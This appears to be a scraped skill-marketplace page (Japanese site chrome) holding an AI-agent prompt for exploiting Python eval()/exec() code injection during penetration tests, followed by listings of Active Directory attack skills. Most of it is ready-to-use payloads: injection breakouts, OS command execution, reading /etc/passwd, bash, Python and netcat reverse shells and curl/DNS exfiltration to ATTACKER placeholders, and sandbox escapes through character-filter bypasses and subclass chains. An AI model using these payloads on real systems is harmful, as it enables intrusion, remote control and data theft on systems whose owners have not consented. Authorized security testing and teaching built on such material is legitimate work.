You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit Python code injection via eval(),
インストール方法を見るインストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester exploit Python code injection via eval(), exec(), or compile(). The target application passes user-controlled input to a Python code evaluation function without proper sanitization. The goal is to execute arbitrary Python code and escalate to OS command execution. All testing is under explicit written authorization.
This is NOT OS command injection. Shell operators (;, |, &&) do not
work because the injection context is a Python interpreter, not a shell. You
must write valid Python expressions or statements.
This is NOT SSTI. Template injection targets Jinja2/Twig/Freemarker
rendering engines. This skill targets direct eval()/exec() calls in application
code. If {{7*7}} returns 49, route to ssti-jinja2 or ssti-twig
instead. If {{7*7}} returns literally but 7*7 evaluates, you're in the
right place.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[python-code-injection] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).This skill covers Python code injection through eval(), exec(), and compile() — from confirming the injection through achieving OS command execution. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
If not already provided, determine:
| Feature | eval() | exec() |
|---|---|---|
| Accepts | Expressions only | Statements and expressions |
| Returns | Expression result | None |
import os | SyntaxError | Works |
| Multi-line | No (single expression) | Yes |
Assignment (x=1) | SyntaxError | Works |
If you can execute __import__('os') but not import os, it's likely eval().
If both work, it's likely exec() or compile().
Pattern 1: String interpolation into eval (most common)
# Application code:
result = eval(f"func('{user_input}')")
# Injection: break out of the string, inject code, comment out remainder
Pattern 2: Direct eval of parameter
# Application code:
result = eval(request.args.get('expr'))
# Injection: any Python expression works directly
Pattern 3: exec() with string building
# Application code:
exec(f"variable = '{user_input}'")
# Injection: break out of string, inject statements
Pattern 4: eval() in ORM/filter context
# Application code:
query = eval(f"Model.objects.filter({user_input})")
# Injection: close the filter, chain arbitrary code
Skip assessment if context was already provided by web-discovery or the orchestrator.
Test these in order — the first one that returns an evaluated result (not a literal echo) confirms eval() injection:
# Arithmetic — most universal
7*7
str(7*7)
# String operations
'A'*3
str(type(1))
# Python builtins
str(True)
str(len('test'))
Expected responses for confirmation:
7*7 → 49 (not the literal 7*7)'A'*3 → AAAstr(type(1)) → <class 'int'>If 7*7 returns 49, also test template syntax to rule out SSTI:
{{7*7}} → if this ALSO returns 49, route to ssti-jinja2 or ssti-twig
${7*7} → if this returns 49, route to ssti-freemarker
<%= 7*7 %> → if this returns 49, route to ERB SSTI
If template syntax returns literally but bare Python expressions evaluate → this is eval() injection, not SSTI.
Inject invalid Python to trigger error messages:
'
)
(
__import__
Python tracebacks in the response (SyntaxError, NameError,
TypeError) confirm Python code evaluation. The traceback may also reveal:
The breakout strategy depends on the injection context. Identify which context you're in, then use the matching payload pattern.
The most common pattern — your input is placed inside quotes within a function call:
# Application code:
eval(f"Engine.search('{INJECTION}', copy_url=False)")
Breakout strategy: Close the string and function call, concatenate your code, comment out the trailing syntax.
# Payload template:
# CLOSE_STR + CLOSE_PARENS + OPERATOR + CODE + COMMENT
# Read /etc/passwd
test',copy_url=False)+str(open('/etc/passwd').read())#
# Execute OS command
test',copy_url=False)+str(__import__('os').popen('id').read())#
# With named args to satisfy function signature
test',copy_url=False,open_web=False)+str(__import__('os').popen('id').read())#
Adjust the closing syntax to match the context:
# If inside double quotes:
test",copy_url=False)+str(__import__('os').popen('id').read())#
# If inside parens inside a string:
test'),key=val)+str(__import__('os').popen('id').read())#
# If multiple nested calls:
test'))+str(__import__('os').popen('id').read())#
Input is passed directly to eval() without wrapping:
# Application code:
result = eval(user_input)
No breakout needed — inject Python expressions directly:
# OS command execution
__import__('os').popen('id').read()
# File read
open('/etc/passwd').read()
# Reverse shell
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
Input expected to be a number in an arithmetic expression:
# Application code:
result = eval(f"{user_input} * price")
Breakout strategy: Satisfy the arithmetic, then chain code:
# Payload:
1+0 if __import__('os').system('id') else 0
(1).__class__.__bases__[0].__subclasses__()
# With string concatenation to exfiltrate:
str(__import__('os').popen('id').read())+str(0*
If exec() is used, you can inject full Python statements:
# Close the existing statement, inject new ones
'; import os; os.system('id') #
' + ''; import os; os.system('id') #
# Multi-statement via semicolons
a=1; import os; os.system('id')
# Newline injection (if %0a is not filtered)
%0aimport os%0aos.system('id')
Once you can inject arbitrary Python expressions, achieve OS command execution.
# popen — returns output (best for visible injection)
__import__('os').popen('id').read()
__import__('os').popen('cat /etc/passwd').read()
__import__('os').popen('whoami').read()
# system — returns exit code only (0 = success)
__import__('os').system('id')
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
# subprocess
__import__('subprocess').check_output('id',shell=True).decode()
__import__('subprocess').check_output(['cat','/etc/passwd']).decode()
When the application returns the eval() result, wrap commands to ensure output is captured:
# Wrap in str() for string coercion
str(__import__('os').popen('id').read())
# Concatenate with expected return value (stealth)
'https://google.com/'+__import__('os').popen('id').read()
# Multiple commands in one injection
str(__import__('os').popen('id && whoami && cat /etc/passwd').read())
# Bash reverse shell
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
# Python reverse shell (if bash is restricted)
__import__('os').system('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'')
# Netcat reverse shell
__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f')
When eval() result is not returned in the response:
# Time-based confirmation
__import__('time').sleep(5)
# DNS exfiltration
__import__('os').system('host $(whoami).ATTACKER.com')
# HTTP exfiltration
__import__('os').system('curl http://ATTACKER:PORT/$(whoami)')
# File write (retrieve via LFI or directory listing)
__import__('os').system('id > /var/www/html/proof.txt')
# Reverse shell (most practical for blind)
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')
Underscores (_) blocked:
# Use getattr() and chr()
getattr(getattr(__builtins__,chr(95)*2+'import'+chr(95)*2),'os')
# Use globals/locals
globals()[chr(95)*2+'builtins'+chr(95)*2]
# Via string concatenation
getattr('',chr(95)*2+'class'+chr(95)*2)
Dots (.) blocked:
# Use getattr()
getattr(__import__('os'),'popen')('id')
# Use bracket notation on dicts
__import__('os').__dict__['popen']('id')
Quotes (', ") blocked:
# Use chr() to build strings
__import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read()
# Use bytes decoding
__import__(bytes([111,115]).decode()).popen(bytes([105,100]).decode()).read()
# Use string from existing objects
# 'os' from an exception message, class name, etc.
Parentheses ((, )) blocked:
This is severe — most Python code requires parens. Possible workarounds:
# Decorator abuse (exec context only)
@exec
@input
class X:pass
# Then type your payload at the prompt
# List comprehension with side effects
[x for x in [__import__] if x.__call__]
Brackets ([, ]) blocked:
# Use __getitem__ via getattr
getattr(mylist,'__getitem__')(0)
# Use next(iter()) instead of [0]
next(iter(__import__('os').popen('id')))
When __builtins__ is restricted or __import__ is removed:
Subclass chain (the universal bypass):
# Find a subclass that has access to os or subprocess
# Step 1: Get object base class
''.__class__.__mro__[1].__subclasses__()
# Step 2: Find useful subclass (os._wrap_close, subprocess.Popen, etc.)
# Enumerate to find the index:
[x for x in ''.__class__.__mro__[1].__subclasses__() if 'wrap_close' in str(x)]
# Step 3: Use it — os._wrap_close has __init__.__globals__ with os module
''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['popen']('id').read()
Finding the right subclass index:
# Dump all subclasses with indices
[(i,x) for i,x in enumerate(''.__class__.__mro__[1].__subclasses__()) if 'os' in str(getattr(getattr(x,'__init__',None),'__globals__',{}))]
# Common targets:
# os._wrap_close — has popen, system in __globals__
# subprocess.Popen — direct command execution
# importlib._bootstrap.BuiltinImporter — can import modules
# warnings.catch_warnings — has builtins in __globals__
Compact subclass exploit (finds os._wrap_close automatically):
[x for x in ''.__class__.__mro__[1].__subclasses__() if 'wrap_close' in str(x)][0].__init__.__globals__['popen']('id').read()
Via globals on any function:
# Any defined function's __globals__ dict contains builtins
(lambda: 0).__globals__['__builtins__'].__import__('os').popen('id').read()
Via exception handler:
# Trigger exception, access traceback globals
try:
raise Exception()
except Exception as e:
import sys
tb = sys.exc_info()[2]
tb.tb_frame.f_globals['__builtins__']['__import__']('os').system('id')
When injecting through HTTP parameters, URL-encode special characters:
# Spaces: + or %20
# Single quote: %27
# Double quote: %22
# Hash/comment: %23
# Newline: %0a
# Parentheses: %28 %29
Use --data-urlencode with curl to handle encoding automatically:
curl -s -X POST http://TARGET/endpoint \
--data-urlencode "param=PAYLOAD_HERE"
When code injection reveals credentials (config files, git repos, environment variables, database connection strings), write a handoff for the operator:
engagement/evidence/Do NOT attempt to establish SSH/WinRM sessions programmatically from the injection context — it's fragile and wastes turns debugging interactive auth issues.
If credentials aren't found but command execution is confirmed:
nc -lvnp PORTpython3 -c 'import pty; pty.spawn("/bin/bash")'When routing, always pass along: injection point, working payload, target platform, and any credentials found.
psopen('/path').read() for file reads over os.popen('cat /path') —
no child process createdtime.sleep()) are stealthy — no process creation,
no network trafficstr() to coerce to stringpopen().read() instead__import__() instead of import, use walrus operator
:= instead of = (Python 3.8+)__builtins__ may be restricted. Use the subclass chain (Step 5)__builtins__.__import__ explicitlygetattr(__builtins__, '__import__')__builtins__ is a dict (not module): __builtins__['__import__']__import__('os').system('id') is shorter than
__import__('subprocess').check_output('id',shell=True).decode()(lambda:(__import__('os').popen('id').read()))() or ensure your payload
produces a value the application can handle# to comment out trailing code, ensure there's no critical cleanup
being skipped (connection closing, transaction commits)まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。